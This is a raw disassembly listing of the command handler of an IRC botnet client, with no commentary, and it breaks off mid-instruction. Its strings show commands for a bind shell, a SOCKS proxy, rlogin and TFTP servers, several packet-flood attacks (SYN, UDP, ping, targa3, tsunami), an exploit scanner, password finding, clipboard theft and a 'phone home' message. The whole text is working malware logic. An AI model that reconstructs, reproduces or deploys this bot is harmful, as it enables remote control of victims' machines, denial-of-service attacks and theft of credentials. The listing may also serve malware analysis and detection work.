test eax, eax jz loc_4028DF push edi push [ebp+arg_0] call sub_41C2E0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BFD0 lea eax, [ebp+var_A0] push offset asc_42CAAC ; ")" push eax call sub_41CAD4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40282E cmp [ebp+var_A0], 39h jle short loc_402844 loc_40282E: ; CODE XREF: sub_401ACD+D56j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BFD0 add esp, 0Ch loc_402844: ; CODE XREF: sub_401ACD+D5Fj lea eax, [ebp+var_A0] push eax call sub_41C159 test eax, eax pop ecx jle short loc_40286A lea eax, [ebp+var_A0] push eax call sub_41C159 pop ecx mov [ebp+var_94], al jmp short loc_40287E ; --------------------------------------------------------------------------- loc_40286A: ; CODE XREF: sub_401ACD+D86j call sub_41C2C2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40287E: ; CODE XREF: sub_401ACD+D9Bj lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B9C0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BF70 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BFD0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B push edi push [ebp+arg_0] call sub_41C2E0 add esp, 30h jmp loc_4027E2 ; --------------------------------------------------------------------------- loc_4028DF: ; CODE XREF: sub_401ACD+D17j mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 lea eax, [ebp+var_4EF8] push offset asc_42CDC0 ; " " push eax call sub_41CAD4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40292F: ; CODE XREF: sub_401ACD+E77j push offset asc_42CDC0 ; " " push ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40292F mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F75 add ecx, 3 mov [eax], ecx loc_402961: ; CODE XREF: sub_401ACD+C9Dj mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aRn ; "rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aLogout ; "logout" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aLo ; "lo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aVersion ; "version" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aVer ; "ver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aRulez ; "rulez" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aRz ; "rz" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aSpeedtest ; "speedtest" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSt ; "st" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsecure ; "unsecure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsec ; "unsec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aBindshell ; "bindshell" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBd ; "bd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBindshellstop ; "bindshellstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B0E push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CA08 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B0E: ; CODE XREF: sub_401ACD+1027j push edi push offset aSocks4 ; "socks4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aS4 ; "s4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aSocks4stop ; "socks4stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B61 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C9E0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B61: ; CODE XREF: sub_401ACD+107Aj push edi push offset aRloginstop ; "rloginstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B8A push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C9C4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B8A: ; CODE XREF: sub_401ACD+10A3j push edi push offset aHttpstop ; "httpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BB3 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C9A8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BB3: ; CODE XREF: sub_401ACD+10CCj push edi push offset aLogstop ; "logstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BDC push [ebp+esi+var_8C] push 25h push offset dword_42C994 push offset dword_42C988 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BDC: ; CODE XREF: sub_401ACD+10F5j push edi push offset aRedirectstop ; "redirectstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C05 push [ebp+esi+var_8C] push 18h push offset dword_42C968 push offset dword_42C958 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_401ACD+111Ej push edi push offset dword_42C94C call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C2E push [ebp+esi+var_8C] push 0Dh push offset dword_42C940 push offset dword_42C934 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C2E: ; CODE XREF: sub_401ACD+1147j push edi push offset aSynstop ; "synstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C57 push [ebp+esi+var_8C] push 0Eh push offset dword_42C920 push offset dword_42C914 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C57: ; CODE XREF: sub_401ACD+1170j push edi push offset aSkysynstop ; "skysynstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C80 push [ebp+esi+var_8C] push 10h push offset dword_42C8F8 push offset dword_42C8E8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C80: ; CODE XREF: sub_401ACD+1199j push edi push offset aTarga3stop ; "targa3stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CA9 push [ebp+esi+var_8C] push 11h push offset dword_42C8CC push offset dword_42C8BC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CA9: ; CODE XREF: sub_401ACD+11C2j push edi push offset aWonkstop ; "wonkstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CD2 push [ebp+esi+var_8C] push 12h push offset dword_42C8A4 push offset dword_42C898 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CD2: ; CODE XREF: sub_401ACD+11EBj push edi push offset aPacketstop ; "packetstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402E28 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C940 push offset dword_42C934 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 0Eh push offset dword_42C920 push offset dword_42C914 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 17h push offset dword_42C880 push offset dword_42C874 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 16h push offset dword_42C868 push offset dword_42C85C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 11h push offset dword_42C8CC push offset dword_42C8BC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 12h push offset dword_42C8A4 push offset dword_42C898 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 0Fh push offset dword_42C84C push offset dword_42C83C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 13h push offset dword_42C82C push offset dword_42C81C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 10h push offset dword_42C8F8 push offset dword_42C8E8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push ebx push [ebp+var_4] push offset unk_42C7E8 push [ebp+var_88] push edi call sub_409869 add esp, 34h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_402E28: ; CODE XREF: sub_401ACD+1214j push edi push offset aTsunamistop ; "tsunamistop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E51 push [ebp+esi+var_8C] push 0Fh push offset dword_42C84C push offset dword_42C83C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E51: ; CODE XREF: sub_401ACD+136Aj push edi push offset aWisdomstop ; "wisdomstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E7A push [ebp+esi+var_8C] push 13h push offset dword_42C82C push offset dword_42C81C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E7A: ; CODE XREF: sub_401ACD+1393j push edi push offset aUdpstop ; "udpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EA3 push [ebp+esi+var_8C] push 17h push offset dword_42C880 push offset dword_42C874 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EA3: ; CODE XREF: sub_401ACD+13BCj push edi push offset aPingstop ; "pingstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402ECC push [ebp+esi+var_8C] push 16h push offset dword_42C868 push offset dword_42C85C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402ECC: ; CODE XREF: sub_401ACD+13E5j push edi push offset aTftpstop ; "tftpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EF5 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C7A0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EF5: ; CODE XREF: sub_401ACD+140Ej push edi push offset aFindfilestop ; "findfilestop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aFfstop ; "ffstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aProcsstop ; "procsstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aPsstop ; "psstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aClonestop ; "clonestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F72 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C750 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F72: ; CODE XREF: sub_401ACD+148Bj push edi push offset aSecurestop ; "securestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F9B push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C72C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F9B: ; CODE XREF: sub_401ACD+14B4j push edi push offset aScanstop ; "scanstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402FC4 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C70C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_401ACD+14DDj push edi push offset aScanstats ; "scanstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aStats ; "stats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aTransferstats ; "transferstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aTrstats ; "trstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aConnectbacksta ; "connectbackstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aCbstats ; "cbstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aExploitlist ; "exploitlist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aExplist ; "explist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aReconnect ; "reconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aDisconnect ; "disconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aDc ; "dc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aQuit_0 ; "quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aQ ; "q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aStatus ; "status" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aS_1 ; "s" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aId ; "id" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aI ; "i" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aR3start ; "r3start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403190 call sub_418884 test eax, eax mov eax, offset unk_42C64C jnz short loc_403162 mov eax, offset unk_42C628 loc_403162: ; CODE XREF: sub_401ACD+168Ej push eax lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 1Ch jmp loc_4082DE ; --------------------------------------------------------------------------- loc_403190: ; CODE XREF: sub_401ACD+1680j push edi push offset aThreads ; "threads" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aT ; "t" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aAliases ; "aliases" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aAl ; "al" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aLog ; "log" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aLg ; "lg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aClearlog ; "clearlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aClg ; "clg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aNetinfo ; "netinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aNi ; "ni" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aSysinfo ; "sysinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aSi ; "si" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aProcs ; "procs" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aPs ; "ps" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aUptime ; "uptime" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aUp ; "up" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aDriveinfo ; "driveinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aDrv ; "drv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aTestdlls ; "testdlls" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aDll ; "dll" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aOpencmd ; "opencmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aOcmd ; "ocmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aCmdstop ; "cmdstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4033B1 push [ebp+esi+var_8C] push 0Ah push offset dword_42C574 push offset dword_42C568 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4033B1: ; CODE XREF: sub_401ACD+18CAj push edi push offset dword_42C564 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4034C7 cmp [ebp+var_8], ebx jnz short loc_4033E5 push ebx push [ebp+var_4] push offset dword_42C550 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4033E5: ; CODE XREF: sub_401ACD+18FCj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033F2 ; --------------------------------------------------------------------------- loc_4033EF: ; CODE XREF: sub_401ACD+196Cj mov eax, [ebp+arg_18] loc_4033F2: ; CODE XREF: sub_401ACD+1920j cmp [eax], bl jz short loc_4033F9 inc eax jmp short loc_4033FE ; --------------------------------------------------------------------------- loc_4033F9: ; CODE XREF: sub_401ACD+1927j mov eax, offset aEmpty ; "<Empty>" loc_4033FE: ; CODE XREF: sub_401ACD+192Aj push eax push edi lea eax, [ebp+var_2C4] push offset aD_S ; "%d. %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033EF push offset unk_42C520 call sub_415D38 pop ecx loc_403446: ; CODE XREF: sub_401ACD+1BFDj ; sub_401ACD+2EFAj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F75 push [ebp+arg_8] push offset aSpoof ; "spoof" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404AAB push offset aOff ; "off" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4049D9 lea eax, [ebp+var_2C4] push offset unk_42C4EC push eax mov dword_4CF180, ebx call sub_41C266 pop ecx pop ecx loc_40349D: ; CODE XREF: sub_401ACD+2FD9j cmp [ebp+var_8], ebx jnz loc_409644 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 loc_4034BF: ; CODE XREF: sub_401ACD+7032j add esp, 14h jmp loc_409644 ; --------------------------------------------------------------------------- loc_4034C7: ; CODE XREF: sub_401ACD+18F3j push edi push offset aGetclip ; "getclip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aGc ; "gc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aFlusharp ; "flusharp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFarp ; "farp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFlushdns ; "flushdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aFdns ; "fdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aCurrentip ; "currentip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aCip ; "cip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aRloginserver ; "rloginserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aRlogin ; "rlogin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aHttpserver ; "httpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aHttp ; "http" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aTftpserver ; "tftpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aTftp ; "tftp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aShitycrash ; "shitycrash" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403653 lea eax, [ebp+var_2C4] push offset unk_42C444 push eax call sub_41C266 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403632 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403632: ; CODE XREF: sub_401ACD+1B47j lea eax, [ebp+var_2C4] push eax call sub_415D38 mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41CA50 jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403653: ; CODE XREF: sub_401ACD+1B2Fj push edi push offset aAsc ; "asc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aAs ; "as" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aPhonehome ; "phonehome" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4036AA lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_409823 loc_4036A2: ; CODE XREF: sub_401ACD+47Bj add esp, 0Ch jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj push edi push offset aFindpass ; "findpass" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4036D0 push edi push offset aFp ; "fp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_403446 loc_4036D0: ; CODE XREF: sub_401ACD+1BECj push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax push offset unk_42C3C4 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B3BA add esp, 18h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_4172C1 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403778 loc_403762: ; CODE XREF: sub_401ACD+1CA9j cmp [ebp+var_F60], ebx jnz loc_4082DE push 32h call dword_427080 ; Sleep jmp short loc_403762 ; --------------------------------------------------------------------------- loc_403778: ; CODE XREF: sub_401ACD+1C93j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42C388 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_403789: ; CODE XREF: sub_401ACD+1B95j ; sub_401ACD+1BAAj mov al, byte_4319DA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4319DA jz loc_401F75 mov ecx, edx loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037A0 cmp al, bl jz loc_401F75 mov [ebp+arg_18], edx loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj push 0Bh call sub_40B602 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_403808 push ecx lea eax, [ebp+var_2C4] push offset dword_42C34C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_403A72 ; --------------------------------------------------------------------------- loc_403808: ; CODE XREF: sub_401ACD+1D06j or [ebp+var_730], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_403875 mov eax, [ebp+arg_18] mov esi, offset dword_4317F8 lea edi, [eax-0Ah] loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj lea eax, [esi-28h] push edi push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40385B inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_40383F jmp short loc_403875 ; --------------------------------------------------------------------------- loc_40385B: ; CODE XREF: sub_401ACD+1D80j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_74C], ecx loc_403875: ; CODE XREF: sub_401ACD+1D65j ; sub_401ACD+1D8Cj cmp [ebp+var_74C], ebx jz loc_403A86 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call dword_4CB978 ; getsockname mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_860] push eax call sub_41BFD0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C820 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40391D loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej cmp eax, ebx jz short loc_40391D mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4038FB loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj ; sub_401ACD+1E30j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41C360 push offset byte_43DB88 push offset aF ; "#f" call sub_41CA50 add esp, 14h test eax, eax jz short loc_40398A push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h push eax call sub_41C360 add esp, 0Ch jmp short loc_403990 ; --------------------------------------------------------------------------- loc_40398A: ; CODE XREF: sub_401ACD+1EA0j mov [ebp+var_7D0], bl loc_403990: ; CODE XREF: sub_401ACD+1EBBj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039A2 mov eax, offset aSequential ; "Sequential" loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C2CC push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40C600 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403A2C loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj cmp [ebp+var_71C], ebx jnz short loc_403A47 push 32h call dword_427080 ; Sleep jmp short loc_403A1A ; --------------------------------------------------------------------------- loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C4] push offset unk_42C290 push eax call sub_41C266 add esp, 0Ch loc_403A47: ; CODE XREF: sub_401ACD+1F53j cmp edi, ebx jnz short loc_403A65 push ebx lea eax, [ebp+var_2C4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx loc_403A72: ; CODE XREF: sub_401ACD+1D36j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4037B5 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_403A86: ; CODE XREF: sub_401ACD+1DAEj push offset unk_42C258 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401ACD+1B05j ; sub_401ACD+1B1Aj push 5 call sub_40B602 test eax, eax pop ecx jle short loc_403AA6 push offset unk_42C238 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403AC9 push eax mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_403ADD ; --------------------------------------------------------------------------- loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push 